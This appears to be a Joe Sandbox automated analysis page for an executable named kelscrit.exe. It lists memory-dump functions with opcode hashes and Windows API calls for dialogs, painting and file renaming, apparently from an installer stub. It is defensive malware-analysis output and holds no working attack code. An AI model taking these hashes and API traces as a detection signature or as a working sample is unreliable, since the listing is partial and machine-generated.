Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b98d1fa330b46e8103dfc35074f5bbde827728f4834c4af01a5472d2ef842622
Instruction ID: 3a4d4585110ea3ba5fbbf2bb2be7ec8dcab030ea7ccb87fe198396a5431bdb20
Opcode Fuzzy Hash: b98d1fa330b46e8103dfc35074f5bbde827728f4834c4af01a5472d2ef842622
Instruction Fuzzy Hash: 4161AC42F2EF00C9FF43357185816B1E689DF66542E11BF9D9837A29A1B71E384F6288

Function 04381414 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f7d760a848918719daedd0e016535beb37fd7b77da000c75ff56a00cb03bbbc
Instruction ID: 094dbd2c4d7a821ef918f0b7638f9bc4c2276a44e240abb2abd0c4b281de1514
Opcode Fuzzy Hash: 3f7d760a848918719daedd0e016535beb37fd7b77da000c75ff56a00cb03bbbc
Instruction Fuzzy Hash: 41617A42F2EF01C9FF83353085816B1E699DF62146E11BB9D9837A2DA1B71F394F6188

Function 043814D8 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a02793176f149bf71cc21b2c2d7e3424f4cbde4da33b034229a0391e6be1702
Instruction ID: d1ea5e5e88b8aa2a18feb74997307f32c7c57232f1eb80ef55e880748e7a77c5
Opcode Fuzzy Hash: 1a02793176f149bf71cc21b2c2d7e3424f4cbde4da33b034229a0391e6be1702
Instruction Fuzzy Hash: 1B619D42F2EF01C9FF833130C5816B1E699DF66146F11BB9D983792DA1B71E394B6188

Function 04381528 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcf791a06b5fcb312064842c3c3e03bbd106390dc95bffa24f04f4e28aaf45b
Instruction ID: 18c47fa3700a92dfed8a7028891640eeeb2d996d705e8767e211a246a5c27962
Opcode Fuzzy Hash: 6bcf791a06b5fcb312064842c3c3e03bbd106390dc95bffa24f04f4e28aaf45b
Instruction Fuzzy Hash: 01519D42F2EF01C9EF43713085416F1E689DF62546E11BB9DD837A2DA1B71F388B6188

Function 04381736 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02ff7e3d00c5a2a6f0419a3f280b38c8aba98e6ecf8294722d0d651c385f68ed
Instruction ID: 9052158cb05a95170b134ef36d6e7abcc1bb942ce1ec9ca9fd19e80a041200eb
Opcode Fuzzy Hash: 02ff7e3d00c5a2a6f0419a3f280b38c8aba98e6ecf8294722d0d651c385f68ed
Instruction Fuzzy Hash: 2951CE12F2EF01C9EF43353085816B2E799EF66185F11BB9D9833939A1B71E388F6184

Function 0438154F Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8af5424853f5279762080165cb408f7dbcf89446f37a3b619af51eb13c14e9df
Instruction ID: 89c8fee08cb9a9554a7c87fcb099b44d96d28a978bca8f57a540cd8df7c6647f
Opcode Fuzzy Hash: 8af5424853f5279762080165cb408f7dbcf89446f37a3b619af51eb13c14e9df
Instruction Fuzzy Hash: 88519D42F2EF01C9FF433130C5816B1E689DF62186E11BB9D9837A29A1B71F394B6188

Function 0438158E Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe54b2e7e80f607f2cc54dddc53cf1ff1ba979384760830bd32ff62cdcc4aea0
Instruction ID: 57b399f7c2c55d2d3ace96627c9261e073a770d8a4bd3b4c713ce1f38a76c407
Opcode Fuzzy Hash: fe54b2e7e80f607f2cc54dddc53cf1ff1ba979384760830bd32ff62cdcc4aea0
Instruction Fuzzy Hash: 48519E52B2EF01C9FF437530C581AB1E689DF62142F11BB9D9837A29A1B71F384B7184

Function 04381642 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eea03abe9444818a9fb5dad9a3a90d1ee8d8a6ac563d1042bc1640f6b9d371e5
Instruction ID: c7aa424cc9029376c8abdba8a634eb2aad584da9527431fe7469e6ee5f3d6c82
Opcode Fuzzy Hash: eea03abe9444818a9fb5dad9a3a90d1ee8d8a6ac563d1042bc1640f6b9d371e5
Instruction Fuzzy Hash: F851BB02B2EF01C9EF43313185416B1E689DF66542E11BF9D9837A2DA1B71F388B6288

Function 0438155F Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f851fc97823ef0f670f3ecea9438625a748dc609b1e42540f18eb241269bace7
Instruction ID: 2a052981a550bdc5ed77f75988b26933edc250fd90b8226d073de062bc6f733f
Opcode Fuzzy Hash: f851fc97823ef0f670f3ecea9438625a748dc609b1e42540f18eb241269bace7
Instruction Fuzzy Hash: 27519C42F2EF01C9FF433130C5816B1E689DF62546E11BB9D9837A29A1B71F398B6188

Function 04381713 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b46135044c4787ab3720a4340f9e7532d6e5f5f6c2719d0cafa86bb937cc4ee2
Instruction ID: 3f0844596101e907ea0eb13f2217552ec25a4fdb1931a4c37777b0ef894a83a9
Opcode Fuzzy Hash: b46135044c4787ab3720a4340f9e7532d6e5f5f6c2719d0cafa86bb937cc4ee2
Instruction Fuzzy Hash: 4251DE12B2EF01C9EF533530C581BB2F689DF52195F11BB9D9837A29A1B71F384B6284

Function 043816B8 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7176dc60711caa7a4cdbcda3a912bdcb4a1101dbd9e8a6dfc5f3721417b53d2
Instruction ID: 56ab8343d070ff02d460fef1ab2ae5e21a1325c1b48c8bd94a3c99eb795c5735
Opcode Fuzzy Hash: b7176dc60711caa7a4cdbcda3a912bdcb4a1101dbd9e8a6dfc5f3721417b53d2
Instruction Fuzzy Hash: 3C51BE52F2EF00C9EF433530C5816B1E689DF62145F21BB9D9837929A1B71F348B6184

Function 04381775 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0403ed892dc8587c0bbf51da2b9246aef3d8e484335c5bd42f632011c5eac891
Instruction ID: 1402b36f14d257404c159f9a29cec188f4c764087a002208d82f2e2144c12b42
Opcode Fuzzy Hash: 0403ed892dc8587c0bbf51da2b9246aef3d8e484335c5bd42f632011c5eac891
Instruction Fuzzy Hash: 8F51AC02F2EF01C9EF43317191816B2E689DF62555F11BF9D9833A2AA1B71F344F6288

Function 043818A8 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c435e8af9d386bd3fb2efe3f73bccba07ceb4c73426c6fa8605137a6d061e18
Instruction ID: a624c8e7d2f594b3564c21f3818dfa94eda46af864066d448e0699f884553a9a
Opcode Fuzzy Hash: 6c435e8af9d386bd3fb2efe3f73bccba07ceb4c73426c6fa8605137a6d061e18
Instruction Fuzzy Hash: 4D51AD02B2EF01C9EF43357195816B2E689DF52545F11BFADC433A3991B71E344FA294

Function 043819A2 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c76e0b24af2d19649cd43d08ebd4e64c1121e236212c8e6194375fa418c2735a
Instruction ID: 48e87d3446d307323dc508b1622e3ac19433c87793cf7bf730212b30a2c8d427
Opcode Fuzzy Hash: c76e0b24af2d19649cd43d08ebd4e64c1121e236212c8e6194375fa418c2735a
Instruction Fuzzy Hash: AC51DA12B2EF01C9EF43353085816B2E699EF52686F11BBADC42393D95B71A384F6188

Function 0438197B Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2241067625.0000000004380000.00000040.00001000.00020000.00000000.sdmp, Offset: 04380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4380000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9918604f10efcab4566b8861fa162b053d10e71acadabb62ad3a42c92201b245
Instruction ID: d68763f17049a8659504fe3875f901bcf5180773ef534df0d201a6fab480fb01
Opcode Fuzzy Hash: 9918604f10efcab4566b8861fa162b053d10e71acadabb62ad3a42c92201b245
Instruction Fuzzy Hash: C151EC02B2EF01C9EF433A30C5417B2F689EF52155F10BFAEC823A2995F71A744B6284

Function 00404F63 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F7B
GetDlgItem.USER32(?,00000408), ref: 00404F86
GlobalAlloc.KERNEL32(00000040,?), ref: 00404FD0
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FE7
SetWindowLongW.USER32(?,000000FC,00405570), ref: 00405000
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00405014
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405026
SendMessageW.USER32(?,00001109,00000002), ref: 0040503C
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405048
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040505A
DeleteObject.GDI32(00000000), ref: 0040505D
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405088
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405094
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040512F
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040515F

Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,00000001,00404356), ref: 00404539

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405173
GetWindowLongW.USER32(?,000000F0), ref: 004051A1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004051AF
ShowWindow.USER32(?,00000005), ref: 004051BF
SendMessageW.USER32(?,00000419,00000000,?), ref: 004052BA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040531F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405334
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405358
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405378
ImageList_Destroy.COMCTL32(?), ref: 0040538D
GlobalFree.KERNEL32(?), ref: 0040539D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405416
SendMessageW.USER32(?,00001102,?,?), ref: 004054BF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054CE
InvalidateRect.USER32(?,00000000,00000001), ref: 004054F9
ShowWindow.USER32(?,00000000), ref: 00405547
GetDlgItem.USER32(?,000003FE), ref: 00405552
ShowWindow.USER32(00000000), ref: 00405559

Strings

, xrefs: 00405531
M, xrefs: 00405117
N, xrefs: 004051F8

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
Instruction ID: 2b71226c2ce540754c325362a134889399d6c5c4637dca841463e5b600fa6882
Opcode Fuzzy Hash: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
Instruction Fuzzy Hash: 8802AD70900608AFDF20DFA8DD85AAF7BB5FB45314F10817AE611BA2E1D7798A41CF58

Function 004046B5 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404753
GetDlgItem.USER32(?,000003E8), ref: 00404767
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404784
GetSysColor.USER32(?), ref: 00404795
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004047A3
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004047B1
lstrlenW.KERNEL32(?), ref: 004047B6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047C3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047D8
GetDlgItem.USER32(?,0000040A), ref: 00404831
SendMessageW.USER32(00000000), ref: 00404838
GetDlgItem.USER32(?,000003E8), ref: 00404863
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004048A6
LoadCursorW.USER32(00000000,00007F02), ref: 004048B4
SetCursor.USER32(00000000), ref: 004048B7
LoadCursorW.USER32(00000000,00007F00), ref: 004048D0
SetCursor.USER32(00000000), ref: 004048D3
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404902
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404914

Strings

N, xrefs: 00404851
Call, xrefs: 00404892
,F@, xrefs: 004048BF

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: ,F@$Call$N
API String ID: 3103080414-1948516150
Opcode ID: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
Instruction ID: ccb0ec9a7d9d767aff215416cd1a2e620de701fb5c4a8d8609e67ea5798c0c5e
Opcode Fuzzy Hash: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
Instruction Fuzzy Hash: 046192F1900209BFDB10AF64DD85EAA7B69FB84315F00853AFB05B65E0C778A951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4

Function 004061BD Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406358,?,?), ref: 004061F8
GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 00406201

Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E

GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 0040621E
wsprintfA.USER32 ref: 0040623C
GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406277
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406286
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004062BE
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 00406314
GlobalFree.KERNEL32(00000000), ref: 00406325
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040632C

Part of subcall function 00406067: GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\kelscrit.exe,80000000,00000003), ref: 0040606B
Part of subcall function 00406067: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D

Strings

%ls=%ls, xrefs: 00406232
[Rename], xrefs: 004062A6, 004062B8

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction ID: 21ba76f912769f78f8e3df01d85e3e27af82f360ac84a16f7af8f01611abcd2b
Opcode Fuzzy Hash: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction Fuzzy Hash: 66314330240325BBD2206B659D48F6B3B6CDF45708F16043EFD42B62C2DA3C982486BD

Function 00406825 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\kelscrit.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
CharNextW.USER32(?,"C:\Users\user\Desktop\kelscrit.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
CharPrevW.USER32(?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040352D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF

Strings

"C:\Users\user\Desktop\kelscrit.exe", xrefs: 00406869
C:\Users\user\AppData\Local\Temp\, xrefs: 00406826
*?|<>/":, xrefs: 00406877

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\kelscrit.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2646681549
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: bedb2e6347f460b6a244a356934bd0223db9426f0f89d28790e15ec7ef568a4f
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: C911B66780221295DB303B148C40A7762A8AF59754F56C43FED86732C0E77C5C9282AD

Function 0040455D Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040457A
GetSysColor.USER32(00000000), ref: 004045B8
SetTextColor.GDI32(?,00000000), ref: 004045C4
SetBkMode.GDI32(?,?), ref: 004045D0
GetSysColor.USER32(?), ref: 004045E3
SetBkColor.GDI32(?,?), ref: 004045F3
DeleteObject.GDI32(?), ref: 0040460D
CreateBrushIndirect.GDI32(?), ref: 00404617

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
